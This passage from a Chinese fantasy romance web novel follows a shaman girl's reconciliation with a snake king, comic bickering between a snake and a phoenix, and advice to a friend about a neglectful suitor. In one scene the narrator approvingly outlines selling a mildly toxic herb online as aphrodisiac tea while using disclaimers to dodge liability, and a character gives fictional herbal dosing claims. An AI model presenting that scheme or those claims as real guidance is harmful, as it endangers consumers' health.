我僵住。 什么时候说好的?我怎么不记得! 不过,鉴于之前他让人非常失望的表现,我还是决定多晾晾他。 别以为帮我解一次鸳鸯缠,之前他对我所做的一切就能一笔勾销。 见我久久没再出声,他索性厚颜无耻地低头趁我不注意,偷吻了我脸颊一口…… 我被他亲得浑身起鸡皮疙瘩,下意识抬手推他,却忘记了我手上掉了一层皮这档事! 于是,我不但没能将他推开,反而还糊了他一胸口的血…… 纵使我如今手上没了知觉感受不到痛,可看着自己掌中的生肉被他衣襟上的金线给磨出了血丝…… 我还是会控制不住的头皮发麻,心尖儿打颤。 有种感觉叫做—— 看着就疼! “我我我、我的手……”我脑壳发酥的欲哭无泪。 他赶紧捧着我的手掌送到唇前吹吹: “不怕不怕,本尊手里有生肉水,回去给你上完药,休息一夜手掌就能恢复如初了。” 吹完,从袖中取出一张粉色帕子,搭在我的掌心,帮我凑合着裹住手上的伤。 我瞧着他系在我手上的粉红丝帕,心里又是一阵不爽。 不放过任何一个呛他的机会,面无表情的阴阳他: “蛇王大人的喜好还蛮特殊,随身的丝帕都是粉红色的! 怕是哪位佳人所赠,蛇王这才贴身携带,好方便思念佳人时,掏出来聊表慰藉。 只是这样好的东西,给我一个俗人用,实在是辜负了佳人的一片真心。 蛇王大人要是一时晃神用错了帕子,现在赶紧换回去还来得及。 不然等会儿帕子就要被我的污血浸透了,到时毁了蛇王的心爱至宝,在下可不包赔!” 他系帕子的动作一顿,迷茫抬眸,一脸委屈:“本尊、没有收过女人的丝帕,这帕子……” 旁边的紫蛇心累叹气,及时举手解释: “这帕子是我的……也就帝君去祖祠找你之前,刚充公的!妹砸你不信的话我可以证明给你看啊!” 紫蛇把手探进宽大飘逸的绣花袖袍内,立马扯出了一张一模一样的粉红丝帕。 接着还相继从袖子里拽出大红、翠绿、鹅黄、淡紫、靛青……好几种颜色的帕子! 他拽出来的那些丝帕质地与我手上的这张粉红帕子完全相同,一眼就能分辨出来是一个厂家生产的…… 而且他最先扯出来的那张粉红帕子与我手里这张更是毫无色差,连帕子边缘的刺绣粉桃针脚也全然一致。 看来真是我多疑了…… 忘了青漓身边还有个不男不女的这家伙! “你哪来这么多帕子?你收集癖啊!”我错愕惊问。 紫蛇傲娇的哼了声,把一堆帕子重新塞回大袖里,只留下一张粉帕捏在手里娇俏把玩,“要你管!” 故意挥帕子往我胳膊上搭,紫蛇捋着胸前的乌黑长发,一整个小女儿家的娇羞媚态,再搭配上他那温软娇气的声线,简直比我还像个女人! “哎呦,人家从前可是做了几百年的女人,女孩子家家这种贴身消耗品攒得多些不是很正常嘛! 再说,我攒的这些帕子又不是我一个用,自打我来到帝君身边,追随帝君,帝君的日常起居可都是人家在照顾,而且……” 紫蛇说着,脸色陡然一变,气鼓鼓道: “不晓得从什么时候开始帝君发现用我的帕子擦手很爽,每次帝君从外面打完架回来,就专用我的帕子擦手上妖血,咦,脏死了! 我要不多备着点,能经得起帝君这个败家爷们拿我帕子当一次性纸巾用么! 呜我的鸾宝儿,你知道吗,我这帕子可都是天蚕丝的! 妖界天蚕丝价格多昂贵你晓得不?就这么小小的一张啊,值十两金! 有一段时间我实在看不下去帝君这么败家浪费了,偷偷把帕子换成皎月丝的。 结果这老东西只用一次就发现帕子不对了,硬逼着我把帕子换回去。 呜呜,浪费我的帕子也就算了,还不给我报销! 我可怜的帕儿啊! 妖界高门大户的女妖,随身的天蚕丝帕子还会多次利用呢,一次舍不得买太多,帕子脏了就洗洗再用。 我呢!全被这家伙糟蹋啦——啊呜呜呜。” 我:“……” 默默扭头看了眼面不改色毫不愧疚的青漓,我干笑笑。 确实够败家的。 还好在我家不是这么个败法。 不然我非得把他打成蝴蝶结丢出去! 多少家底啊,经得住他这么浪费…… “话说,你喜欢什么材质的帕子,以后咱俩可以分享帕子花样与货源啊。”紫蛇一脸期待的瞪大双眼盯着我问。 我倒吸一口冷气:“我……不用帕子。” “你不用?”紫蛇顿时没脸没皮地露出嫌弃表情:“你一个小姑娘怎么能不用帕子呢?啧,没点贵气。” 我淡定回怼:“我们现在擦鼻涕都是用卫生纸的。” 紫蛇哽住,半晌,不服气的头一昂:“哼!” 故意拿话勾我吃醋: “哎呦妹妹,你怎么一点大家闺秀的样子都没有,行为如此粗俗,以后还怎么侍奉帝君啊! 我们家帝君平日里可挑了,那床铺得稍微皱巴一丁点,他老人家就会问罪呢。 姐姐我好歹跟了帝君几百年,帝君的生活习惯,没有人比姐姐更清楚,妹妹你要是想学的话,姐姐大度,愿意传授妹妹经验。 哎呀呀,谁让帝君就喜欢睡姐姐铺的床,就喜欢喝姐姐泡的茶呢?” 我心如止水地瞥他,压根不接招:“哦,既然你这么喜欢干铺床泡茶的事,以后他的床、他的茶,你继续铺着泡着!” 青漓:“……” 紫蛇脸一僵,又极快地厚着脸皮虚笑,用手指头戳我: “哎哟不好吧,你俩住一块,铺床这种事姐姐不方便,还得你这个老婆来!” 我平静地见招拆招:“没关系,他可以去别的房间睡!” 紫蛇:“啊?” 青漓:“???” “不、不是,不用吧!” 紫蛇迎上青漓那恨不得原地刮了他的阴冷目光,吓得连连往边上躲,虚笑着认怂,试图补救: “我我我、我刚才开玩笑的!实话和你说了吧妹子,我就没有给帝君铺过几次床,你也知道帝君这人性子怪得很,他除了你谁都嫌,压根不让别人碰他的床! 我给他铺床那几次,还是山里野仙不懂规矩给他进献美女,他嫌自己的床被别的女人沾过,就命我给他换套新的被褥……” 我冷脸捕捉到关键信息:“别的女人还沾过他的床?” 青漓一惊:“我没有!” 紫蛇亦是被吓一哆嗦,脸色煞白,连忙解释: “不不不、不是你想的那样,的确是有女妖沾过他的床,但是他没有沾过人家啊!是那些女妖自个儿脱光了主动爬上他的床……” “还脱光了?!”我语气冰凉。 青漓忍无可忍地一脚踹开越解释越乱的紫蛇,黑着脸霸道地弯腰就将我打横抱了起来,亲自认真解释: “夫人,为夫没看她们也没碰她们,为夫察觉到她们的存在就立马命人将她们扔了出去,为夫,只有你一个妻子,只碰过你一个女子。为夫发誓,若有虚言,为夫不得好死!” 被青漓踹疼屁股的紫蛇捂着臀部赶紧附和: “对啊对啊!鸾镜妹子我作证,帝君连她们碰过的被子都给丢了,要不是因为帝君睡觉认床,帝君差点就把石床也扔了!” 我一时语塞…… 青漓竟然睡觉认床! 我伏在他肩上沉默良久,口不对心地嘴硬道:“你碰没碰过别的女人,关我什么事。” 碰过,就把爪子剁掉! 他委屈抱紧我,神色无辜地低头亲密蹭蹭我脸颊, “当然与夫人有关系了……我不会背叛夫人,本尊忠于夫人,至死不渝。” 嘁,说得好听。 我们一行人都快到家了,小凤才从我袖子里探出头,张膀子飞出去。 紫蛇见到小凤差点被吓出原形,瑟瑟发抖地躲到青漓背后,壮着胆子谴责小凤: “原来你跟在鸾镜妹子身边啊!那你为什么在阴苗族那些族老欺负鸾镜妹子的时候不露头装乌龟!害得帝君在外面着急!” 小凤一点也不见外的嘚瑟落在青漓肩头抖羽毛,抖得青漓肩上一片鸟的雪白毛屑: “哼,主人怕我坏她计划,特意把我封印在袖子里了,出了祖祠主人才把封印解开…… 再说,那块小小的天外陨石,主人压根不带怕它的好不好! 主人自己完全能搞定,你们没在里面不晓得,主人其实早就把那块石头震裂了。 但为了让宋淑贞也体验一把被雷击的快乐,主人特意没怎么用法术压制那块石头内的雷电力量。 那块石头被主人玩成这样,估摸以后再也没力量欺负别人喽…… 小垃圾,废掉也好,这玩意就不该存于凡界,还被阴苗族奉为圣物。 我算是知道了,阴苗族都已经不是眼神不好的问题了,肯定是祖坟出毛病了。 要不然怎么会专将一些阴得不能再阴的东西奉为圣物供为圣女,他们被下降头了吧!” “我觉得也像……” 紫蛇赞同道: “鸾镜妹子与那个花枝圣女分明是双生圣女,可他们偏要只供一个,只供一个还挑了个满身邪气的供。 帝君当年可是救了整个阴苗族,可他们传着传着就成帝君是祸乱苗域的青蛇大妖了。 那条灰狐狸在阴苗族干了那么多坏事,阴苗族的大祭司却能与他达成共识勾结到一块。 多少有点分不清好赖了!” 说着,突然想起某一茬,追上青漓好奇问道:“帝君,三百年前的事你和鸾镜妹子交代了?” 青漓闻言眉心微拧,淡淡道:“没有。” 紫蛇疑惑发问:“那鸾镜妹子怎么会知道,你三百年前没有祸乱苗域,吃人无数?在她们阴苗族的传说里,帝君你可是令阴苗族血流成河、罪孽深重的妖物!” 不等青漓为他解惑,小凤就高傲地挺起胸脯,一本正经道: “傻了吧!想不通了吧!我主人聪明,猜到的! 我主人早就料到宋淑贞找她没好事,王老头提出用认心石检验主人的话是真是假,主人清楚王老头和那个破祭司是在联手给她做局,想让她吃苦头。 主人其实有法子拒绝他们的提议,主人现在是阴苗族鬼师,只要主人不肯用认心石,他们总不能按着主人,逼主人把手放上去吧! 主人之所以答应让认心石检验,就是为了彻底替帝君洗清污名! 主人的目的,不仅要证明这次在柳叶村吃人的妖物不是帝君,还要证明帝君从未伤害过阴苗族。 不仅现在不会吃人,以后也不会吃人,从根源处消除阴苗族族人对帝君的偏见。 至于三百年前帝君有没有害阴苗族血流成河,主人相信帝君,愿意赌帝君没有。 所以主人就借破祭司搬出认心石这个机会,宁愿咬咬牙自己吃点苦头,也要把帝君身上的污名,能洗的都全部洗清。 这样帝君以后留在阴苗族,就不会再有人拿三百年前的谣言说事了。” “那要是鸾镜妹子赌错了……三百年前帝君真干了那事呢。”紫蛇猛咽了口口水。 第127章 在他的神像前温存 小凤与我心意相通地抖抖翅膀毛,淡定道: “那就自认眼瞎呗!不过我主人的心很细,帝君是不是那样的妖,我主人和帝君相处这么久,肯定能确定! 再说,杀人魔头,和儒雅大妖,人设反差那么大,杀人魔头想装儒雅大妖也难,肯定会露出不少马脚的! 当然,小凤不否认在这件事上主人有私心,就是护犊子,坚信帝君是好妖,绝对干不出让苗域血流成河的坏事。 但小凤能确认的是,主人信任帝君,所以愿意豁出命给帝君担保。 如若帝君真演技那么好骗过了主人的眼睛,辜负了主人的一片真心,待帝君妖性发作伤害无辜凡人时,主人定会亲手解决了帝君这个坏蛋!” “呃……”紫蛇怀疑道:“就凭你主人那三脚猫的功夫,解决帝君是不是有点……” 小凤不乐意地掐腰哼道: “你别小瞧我主人,我主人可厉害了! 而且、你们都没有我了解主人,我主人为了天下苍生黎民百姓,是能做出任何事的! 逼急了我主人,我主人体内的无穷力量定也不会让你们好受! 哪怕她现在力量微末,只要她想,她绝对有法子收拾坏人! 不能直接消灭坏人送他饮恨西北,她就拉着坏人一起同归于尽。 纵使玉石俱焚,她也不会让坏人得逞!” 小凤吾崽,真是深得吾心啊! 紫蛇右眼角抽了抽: “你才认识你家主人多久啊,还没有帝君久好不好!怎么就成我、们——” 他特意伸手指了指青漓,把青漓也加上:“都没有你了解你主人了?” 小凤愣了愣,随后胆大妄为地趴在青漓肩上得意显摆: “我和主人这叫神交已久,你一条凡蛇思想还没达到我和主人这种境界,理解不了很正常。” “我、”紫蛇呛住,一头雾水。 小凤亲近地拿脑袋蹭青漓脖子:“帝君~多日未见,小凤好想你啊!” 我:“……” 我默默别过头,压根不敢看小凤此刻的谄媚模样。 怕她演过了的演技把我勾得憋不住笑出来。 那我装了这么久的高冷岂不是白搭了! 青漓俊脸发黑,没好气地回怼道: “本尊与你,昨夜才见过。你一只鸟,就不要和人类瞎学了……别逼本尊把你扔出去!” 小凤一愣,抖了抖头上小揪揪,不服气地掐腰质问: “为什么啊!我看那个什么阿乞,先前就是这么对你的,你还顺手给了他一颗糖! 为什么他蹭你你就给他糖吃,我蹭你你就要把我扔出去? 你是不是区别对待!我可是你老婆的宠物!你老婆的陪嫁兼娘家人! 你就是这么对你老婆的心肝宝贝的?!” 话音刚落,紫蛇倒是没忍住噗嗤笑出了声,嘎嘎开心: “小凤凰你倒是给自己的定位很清晰嘛!娘家人,陪嫁……哈哈哈! 你还问帝君为什么区别对待,人家阿乞讨好帝君,在帝君眼中就是个孩子讨糖吃的行为。 你一只鸟,对着帝君又蹭又撒娇的,都快把你要讨好帝君几个字写脸上了,帝君现在要不是双手抱着鸾镜妹子,你在说完这句话的时候就被帝君丢十里外了好不好! 还有,谁让你趴帝君肩膀上的!帝君的肩膀我都没踩过!” “哦吼。”小凤调皮地用翅膀尖尖戳戳青漓:“帝君,你家这条紫蛇还想踩你头上!” 紫蛇脸一僵,顿时激动地跳起来:“你话是怎么传的吗!帝、帝君我冤枉啊,我没有这个意思,绝对没有……” 青漓也被他俩吵烦了,蹙眉嫌弃道:“紫蛇,你想死,和本尊说一声,本尊成全你!” 紫蛇俏脸一垮,委屈得快哭出来:“帝君我不想死啊!呜,帝君你不要听她挑拨,帝君你不能只要老婆的宠物不要自己的宠物了啊!” 我猛地呛咳出声。 紫蛇、宠物…… 他对自己的定位也蛮清晰的。 青漓懒得搭理这对冤家,而紫蛇对于小凤能上青漓肩的这档子事,更是嫉妒得红了眼。 “小凤凰,你给我下来!” “我下来你就能盘上来了吗?来来来,你看看你家帝君抽不抽你!” “我、我不上去!但你得给我下来!” “我想上就上想下就下,要你管!” “小凤凰你别过分哈,小爷我不打女人……” “我不是女人,我是小鸟儿,你羡慕啊?有本事你也变成原形永远别当人啊!” “你、可真不是人啊!” 小凤和他吵得火热,双方吵急眼时,小凤还不讲武德地从青漓肩上飞开,扑腾着翅膀就朝紫蛇的脑袋冲刺过去—— 行动敏捷地薅走了紫蛇头上那根红玉凤凰花发簪。 “小凤凰!把爷的发簪还给我!” “就不还就不还,略略略,你一个男人戴什么玉簪子啊!给我戴。” “那是爷的蛇骨!” “我还有奶的凤羽呢!你这簪子给我,我给你一根凤羽。” “我要你凤羽做什么……哎呦姑奶奶!你别把我簪子弄坏了呀!我这簪子可是要送人的……” “送谁的?” “送我阿……呸,我告诉你干嘛!” “说不出送谁的那就是送我的——” “你一只凤凰,一只鸟,要簪子也戴不上啊!快还我吧姑奶奶……” “啦啦啦谁说我戴不上,我可以插我的尾羽里,你看,装饰我的羽毛多合适!” “啊!凤凰!我要掐死你!” 万万没想到,紫蛇和小凤这两个家伙这么快就玩到一块去了…… 虽然,他们在一起玩的方式不太友好。 哎,我的手啊! 回到家,青漓耐心地帮我用棉布包好了血淋淋的手掌。 期间他同我说了许多话,我都没搭理他。 还在他帮我系好手上的绷带后,不领情地冷冷催他走: “我累了,想休息。蛇王大人也该回属于自己的地方了,寒舍庙小,容不下蛇王大人这尊大神。” 他闻言,眸底灿若星辰的光泽一黯,沉默良久,温柔拎起被子盖在我身上,轻轻说:“那夫人好好休息……” 说完,还真就出门走了! 我:“???” 都不、争取一下的吗? 呜这条臭蛇! 活该活这么多年还没老婆! 我坐在床上没骨气地生闷气…… 或许,我不应该、嘴硬赶他走。 或许,他真走的时候,我应该挽留一下。 我的本心……是不希望他走的。 不、不对,明明就是这家伙做错了事,他还不想浪费口舌哄我…… 他对我一点也不用心! 这种情况,傻子都能看出来我是在同他赌气,但凡他愿意开口哄哄我,我就…… 可他却选择一走了之。 和女朋友吵架只会躲,渣男! 我心烦气躁地坐在床上生了大半个小时的气。 直到小凤与紫蛇的争吵声消失在窗外,我才无精打采地出门收拾院子,顺便给华桑大帝上香。 三炷香插在神龛前的香炉里,我深呼吸,郁闷地跪下,朝华桑大帝的神位拜了三拜。 “龙君大人……我发现我还是放不下他。” “之前一直不肯承认我喜欢他,是我错了对么。” “他总是能让我心神不宁的……可我又觉得,他似乎并不是很在意我。” “我赶他走,他就真的走了。龙君大人,是不是我太任性了……我如果在他转身离开时,跑过去拉住他的手……” “他会不会、就不走了。” “但我拉他一次,能拉住他一辈子吗?” “可,不试试,又怎么知道能不能拉住他一辈子……” “龙君大人,我可能做不到,立马和他一刀两断。” “我高估我自己了。” “龙君大人,我有点认不清他的心。” “他如果喜欢我,怎么舍得那样伤我心,发怒的时候还掐我脖子…… 当时也不知道哪来的底气,竟能认定他舍不得弄死我。 可现在想想,委实后怕,假如他没有我想象中的那么在乎我,我把他惹毛了,他是真会掐死我。” “而且,他来找我了,我赌气说他几句,他就真的走了,完全不带犹豫的。” “但他如果不喜欢我,又何必三番五次来找我示好,还给我解鸳鸯缠……” “在梦里对我那么温柔。” “也许,他是喜欢的,只是,他还不够爱罢了。” “这样纠缠下去,我想要的,他给不了我,同样我的需求会成为他的负担,他迟早会厌烦,我迟早会绝望。” “还不如,早早斩断这段孽缘!” “龙神大人,您有那什么忘情丹绝情水吗?能不能赏我点……要不然,我可以试着震碎自己的七情六欲……” 就是没震过,不知道怎么操作。 哦对…… “阴苗族有一种蛊,用了就能忘记最爱的人……” 好东西啊! 不行,刚才吃了不少糕点,腰带勒得胃疼。 我伸手往后腰处摸了摸,本想把腰带拽松些…… 谁知指尖忽然被一只温暖的大手握住! 我一怔,直觉过于强烈,以至于那个威严的尊称不过脑子便脱口而出:“华桑大帝?” 不对,这个手感……是青漓! 我脑子发懵地扭头转身,视线刚与男人清澈和煦的目光撞上,人就被对方欺身压在了凉丝丝的泥土地面上…… 沾了我一身灰! 受伤的那只爪子习惯性地往身后地面一按,等我感觉到痛了,脑子才后知后觉地反应过来——丫的,又按错手了! “痛……” 剩下的几个痛字还没来得及嚎出嗓门,唇就被没心没肺的大青蛇吻住了。 男人小心拿过我受伤被裹成粽子的爪子,心思细腻的用右手托住我后背,以防我突然失去右手的支撑直接摔地上…… 薄凉的软唇覆在我唇上,他气息滚烫地贪婪啃咬我。 一手搂着我,一手将我的右胳膊送到腰上,他猛收右手,害我整个人都失神撞进了他的怀抱…… 心跳扑通扑通,快得像擂鼓…… 他阖目,深情地吻了我好一会儿,才委屈兮兮地低头向我柔声解释: “没走,我回去拿不会让你痛的生肉水。 我随身携带的那瓶药水,我怕给你用了,你会疼,会害怕,白术手里有更好的药。 阿鸾,我才走一个半小时,没有不要阿鸾,也没有不心疼阿鸾。” 我心虚羞窘的脸颊烧红,垂下眸光,眼神躲闪,“我、谁管你走没走……我、你放开我……” 他似一眼洞穿了我的小心思,柔情似水地抱着我,又亲亲我的唇: 第128章 蛇王他用上了美人计! 大手力度适中地揉捏着我腰肢。 闹得我身子都快化成一滩温水了。 我实在受不了他的引诱,不自觉地阖上双目,索性放弃抵抗,乖乖配合他。 情动的那一刻,他捧住我的脑袋,稳住了我的心跳。 尔后接着怜爱的亲我,耐心引导我跟随他的节奏,将温存延续下去…… 趁我人迷糊着,他将药粉洒在了我的手掌上。 不等我有所察觉,他就已经把药上完了,还在我一门心思都扑在贪恋他美色,折服于他日渐高超的吻技时,悄无声息地给我包扎好了…… 果然啊,色令智昏。 我有充分的理由怀疑,他今天在对我用美人计! 用这种法子来为我分散注意力缓解疼痛,亏他能想出来…… 下次还是得让他收着点,不然,万一将我体内的鸳鸯缠勾发作了,又得遭罪。 …… 解决了柳叶村那条黑蛟,青漓便索性赖在家里做起了全职主夫。 加上村里人对他这位蛇王大人消除了偏见,他在村里活动起来便更加没有顾虑了。 刚开始那两天,村里的邻居们还会偷偷扒我家大门,一脸紧张地窥视院子里忙前忙后,不是在帮我揉肩捏背,就是在给我做大鱼大肉的银发蛇仙…… 到了第三天,也不晓得我到底错过了哪个环节,再和青漓一起出门拔青菜,村里几位不好相处、总是隔三岔五说东家长道西家短的老太太竟敢直接站在菜园篱笆外找青漓搭话问事情! 对他的称呼,也从青蛇大妖改成了蛇王大人,又从蛇王大人跳到了娘娘家的。 最后,直接变成了镜镜家男人! 她们还记得青漓、其实是条大青蛇吗? “镜镜家的,快帮我也看看,他们都说这草能卖钱!” “可不嘛,昨儿我刚从阳苗族那头回来,他们现在薅这个草,搞什么……微商、网络直播!说是这个草能补肾壮阳,泡水喝效果显著,外面那些人可爱买了呢!” “据说,一场直播下来,能卖好几万呢。” “好几万?我的妈呀,一天把咱们一辈子的钱都给挣了。” “如果这草真能卖钱,那咱们可就发了!咱们的九黎山上遍地都是这草…… 镜镜家的,你见多识广,快来帮咱们看看,这草真有那么神奇的疗效吗? 咱们祖祖辈辈在这大山边上住了那么多年,这种草以前都是砍了烧锅做饭的! 连正经名字都没有起,我们土话都喊它毛毛草。 阳苗族能拿这种草卖钱,那咱们阴苗族是不是也能卖? 这草泡出来的水,能喝吗?不会有什么副作用吧……” 青漓看了眼张家老太手里的草,把青菜放进菜篮,淡淡道: “这是蛤蟆草,微毒,少量泡水饮用确实可、补肾壮阳,但不宜过度饮用。过度饮用伤肝。” “哦,我就说嘛,我记得我家老太爷生前用过这草,说这草能治皮癣,但是不能当水喝,当水喝会便血……” 陈家婶子皱眉失望道: “哎,还想着用这草改善咱们的现状呢,算了,这草既然有毒,那咱们还是别找事了,现在外面的人可精了呢,万一把人喝出个好歹,到时候他们拿这个草去化验,咱们阴苗族的脸可就丢尽了。” 王家老太不甘心道: “可这草现在在网上卖的很火,我听说,外面很多有钱的大老板开着豪车进山买这草呢! 阳苗族都能靠它发家致富,我们当心着些卖……大不了卖之前,告诉他们这草的副作用……” “你把副作用说了,岂不是在断阳苗族的财路?阳苗对咱们阴苗族有恩,历任大祭司都不允许咱们与阳苗族起冲突。” “那、放着大好的机会我们抓不住,总觉得亏得慌……” 王家老太说完,我拍拍手上的泥土,给她们出主意: “这有什么难的!毛毛草是有微毒,但是少量服用确实可以达到强身壮体的作用。 咱们阴苗族既然有这个草的资源,当然也可以卖啊! 只要控住量,不让草量超过毒害身体的标准,这样就能安全售卖了。” 王家老太闻言立即提起精神:“控制量?镜镜啊,你快继续!” 我接着道:“毛毛草泡水,肯定不是用新鲜的草泡,泡水的草得提前晒干,晒干之后,咱们再比阳苗族多一道程序。 把干草给切碎,做成茶包,找村里的郎中大叔制定个剂量,一次只卖固定的药草量。 把剂量内的茶包包装好,定为一个疗程,这样拿去网上售卖,每次只卖买家一个疗程的,标注清楚多少天为一个疗程。 提醒他们我们的药草量与阳苗族售卖毛毛草的那几家不一样,我们的量大,是药三分毒,必须得在疗程期过完后,才能再次购买。 否则因过度饮用我们的药草茶包泡出的药水而导致身体出现不适的,我们概不负责! 反正他们也不知道我们一个茶包里到底装了多少碎草药,这样,我们也算是提前发了免责声明,又不会得罪成堆卖的阳苗族那边。 他们再乱喝,喝中毒了可就不干我们的事了。 而且我们售卖的草药并非成品药,我们的草药都是纯天然的东西,大山里刚挖出来的,就像山里那些菌子一样。 买家纯自愿购买,我们只负责提供货品,只保证货品对版,货真价实。 至于买家拿到东西怎么吃,买家有没有把菌子炒熟,有没有因为自己操作失误导致中毒出幻觉,那可就不是我们该管的了。 你们见过,买菌子的人回去自个儿没炒熟,把自己吃进医院然后去找卖菌子的人索赔的吗? 而且,如果我们事先就声明了一个疗程只能服用多少,事前就告知过他们正确的使用方式了,他们再出事,就更和咱们无关了!” 几位老太太耐心听完,皆是恍然大悟:“对啊!这个办法不错啊!” “咱们多费点心,就当、是让让他们阳苗族!” “做成茶包,我怎么就没想到这个法子呢……控量好啊。” 青漓不知从哪又变出一张粉色帕子,温柔地给我擦拭掌心拔青菜时沾上的黑泥土。 “再放点清明草吧,五两蛤蟆草里掺上一两清明草,清明草能抑制蛤蟆草的毒性。” 陈家婶子赶忙掏出老年机记下。 张家老太睿智道: “咱们山里的毛毛草能卖,那是不是还有别的草也能卖?” 赶忙拎起脚边的麻袋,伸手从里面掏出一堆奇奇怪怪的杂草给青漓辨认: “镜镜家的,快帮忙再看看这些,这草都有什么功效,能卖吗?” 我意外哽住…… 她们怎么像是、把青漓当自家女婿用了。 明明前几天还怕青漓怕得要死。 她们对青漓这样热络,最近青漓都不屑用隐身术了…… 想当年李大叔想做阴苗族的女婿还被族人们变着法的考验为难呢,这都几十年过去了,族里人还是没能完全接受李大叔。 可青漓要当阴苗族的女婿,她们硬是上赶着认可他。 可见,在绝对实力面前,所有规矩门槛,都是浮云。 原以为青漓招村里老太太们喜欢已经很离谱了,谁晓得,青漓的实力远不止于此…… 下午我和银杏在院子里绣花球,小凤缠着阿乞玩风车。 紫蛇盘在我家的梨树上悠闲晒太阳。 青漓则端着一盘刚蒸好的荷花面糕,体贴送过来,瞧着我手里还没绣完的凤凰花绣球,目露柔光。 陪了我一阵,见我没搭理他,便拂袖带上两个小纸人去井边打水了。 银杏偷瞄了眼大变样的青漓,边绣花边佩服道: “镜镜你行啊!你看你家蛇王大人都被你给调教成什么样了,你不理他,他也不生气,从前高冷傲娇,现在温柔似水。” 我心累道: “他其实,一直都这样,只是从前可能是碍于我们俩之间这层窗户纸没捅破,加上他以为我对他没心思……怕太亲近我,我会被吓跑。 所以才控制着内心的感情。 现在咱俩……都破罐子破摔了,他还用得着装高冷吗?” “什么叫破罐子破摔,你俩这分明就是守得云开见月明! 小凤都给我和阿乞讲了,想不到咱俩才几天没见,你和蛇王大人之间竟发生了这么多事! 啧,我还没反应过来,你俩就已经走完了虐恋阶段! 嗨,早知道我这几天就不光顾着陪潮生哥了,搞得我都没有参与感了,身为你的好姐妹,我应该在你与蛇王大人闹别扭的时候,帮着你骂他全家的! 这可是千载难逢的能骂他全家的唯一机会啊!我竟然错过了!” 我:“……” 她这都什么癖好啊! 绣花针扎在绣球上,我从口袋里掏出小凤从鬼市弄来的驻颜丹与强身丸,送到她唇前。 “张嘴。” “啊——” 银杏乖乖张大嘴,任我将药丸填进她口中。 她含住药丸蹙了下眉头:“咦,味道好怪!什么东西啊?” 我淡定说:“强身健体的仙丹,小凤给我的。” “哇!”银杏开心的将仙丹咽下去,双手捧脸活泼可爱:“好姐妹,真仗义!” 我引线穿针试探着问: “听阿乞说,宋潮生这几天没少害你,昨天还把你一个人扔在山上,外面下大雨,你差点被困在山顶出事……” 第129章 女儿皮做的枕头 银杏闻言,俏脸不禁愈发失色,垂头牵强笑着,自我安慰: “嗯……好在阿乞去得及时。阿乞这个好弟弟我真没白疼! 昨天,是他冒险顶着瓢泼大雨上山,衣服都被树枝划破了,在山里找了我两个小时,才从积水的山洞里找到我。 我当时,还以为自己活不了了。” 银杏说着,眼眶没忍住泛了红,抬手拂去眼角泪水,哽咽着向我倾诉: “镜镜你不知道,昨天那场雨,真的好大,把山洞都淹了一半,我呢,出去会被雨淋,留在洞里会被水淹,那水都没过我的腰了,头顶还打着雷,太吓人了。 阿乞找到我的时候,我差点以为是自己死前出幻觉了! 然后阿乞就把油纸伞递给我,背着我下山…… 路上我们摔了好几回,我也不晓得怎么回事,总觉得自己回不了家了,双腿发软不能走路,我就趴在阿乞肩上,一次又一次问阿乞,我们还能不能回去了。 阿乞就一次又一次地向我保证,他一定能安全把我带回去。 我们俩,夜里十一点才到家,阿乞身上全是擦伤,脚丫子上的水泡都被磨烂了…… 都怪我,我如果肯稳重点,老实点,就不会连累阿乞受皮肉苦了。” “银杏……” 我心疼地抬手抚在银杏手背上,沉下嗓音,试图唤醒她: “是宋潮生非要带你上山挖什么千年野山参,后来又把你一个人丢在山上,自己回来了! 昨天下午两点下的雨,他一点半就回来了。 阿乞要去接你,他还拦着不让,非说天气预报讲了,下午雨不大,而且你已经在下山的路上了,阿乞问他走的时候有没有喊你,他说喊了,阿乞这才没立马出门找你! 两点半,雨越下越大,阿乞实在担心你,就拿上一把油纸伞上山找你去了,昨天那雨大的根本看不清路。 阿乞询问他你的具体方位,他又支支吾吾说不清,这才导致阿乞不得已跑到南头山脉,满山喊你找你! 他如果肯说清你的具体方向,阿乞早就找到你了。就是因为他的含糊其辞,阿乞从三点找你找到五点半! 昨夜的雨那么大,你和阿乞都是半夜三更还没到家,他竟然不担心不牵挂甚至不愧疚,等阿乞把你背回家,他已经躺在你家里呼呼大睡了…… 银杏,这样的人,你到底还在期待些什么……” “他喊我了。” 银杏急着替他狡辩,心虚低头: “是我自己没有听见,不怪他。他昨天是接到了一个挺重要的电话,急着回家发一份邮件……是我太贪玩,才给阿乞添麻烦。” “银杏!” 我拿她没办法地无奈道: “他不可能是你梦中的那个人!一个人再变,也不会从一个慈悲温润的人,变成一个自私自利,自大狂妄的人……” 可她仍听不下去,自我催眠般坚持道: “他就是我想见到的那个人,他只是忘记了我们之间发生过的事,等他想起来,他就不会对我这么苛刻了! 蛇王大人以前没喜欢上你的时候,不也对你嘴毒刻薄,冷漠疏离吗?” 我紧了紧眉心: “可那时的他,好歹不会故意把我扔在外面不管不问,我遇见难处的时候,他也会立刻现身帮助。 他对我再刻薄,也不会当着我的面嫌我这里不好那里不像话,他再冷漠疏离,也不拿我的小命当儿戏。 银杏,哪怕昨天拉你上山找什么千年老人参的是个陌生人,他都不会一声不吭地把你扔在山上,阻拦你的家人去接你。 为了不被你家人责备,置你的安危于不顾,为了自己那可笑的自尊、脸面,谎称走之前与你打招呼了,说你已经在下山路上了! 如果昨天的雨再大点,你就真要死在外面了!” “那我能怎么办啊!” 银杏被我说红了脸,委屈地丢下手里东西就呜咽哭起来: “我就是喜欢他,我喜欢他好多年了,我放不下他,他虐我我也放不下! 除非,现在有个比他更像我梦中那个小哥哥的人出现,说他才是我朝思暮想的人,我立马就能把他甩了! 但,没有啊……” 我拿她没办法地伸手摸摸她脸颊,给她擦拭脸上的泪痕,看她哭得伤心,也不忍再多用犀利言语扎她心。 “好了杏子……我不是怪你,我是不想看你这么卑微地讨好一个不值得的人。” 我顺手摸走紫蛇放在石桌上的粉帕子,给银杏轻轻擦眼泪: “银杏,你是个很好的姑娘,你适合更好的男人,宋潮生那蠢蛋配不上你。” 想了想,我还是决定向她坦白:“他刚回来那天,送了我一串南红项链。” 银杏憋屈地吸了吸鼻子:“我知道啊……” 我一愣,意外追问:“你怎么知道?他和你说了?” 银杏叹口气,瘪嘴道: “他怎么可能把这种事告诉我,你家小凤凰和我说的。 她前几天去我家找我玩,脖子上就挂着那串红彤彤的南红项链,我问她谁送的,她说是你拿给她换仙丹的。” 歪过身子靠在我肩上,她挽住我的手臂低吟: “镜镜,我都知道……你拿南红,找小凤换了仙丹,又把仙丹塞给了我。我就晓得,你和我才是真爱。” 我噎住。 无奈摸摸她的脑袋:“也可以这么说吧。” 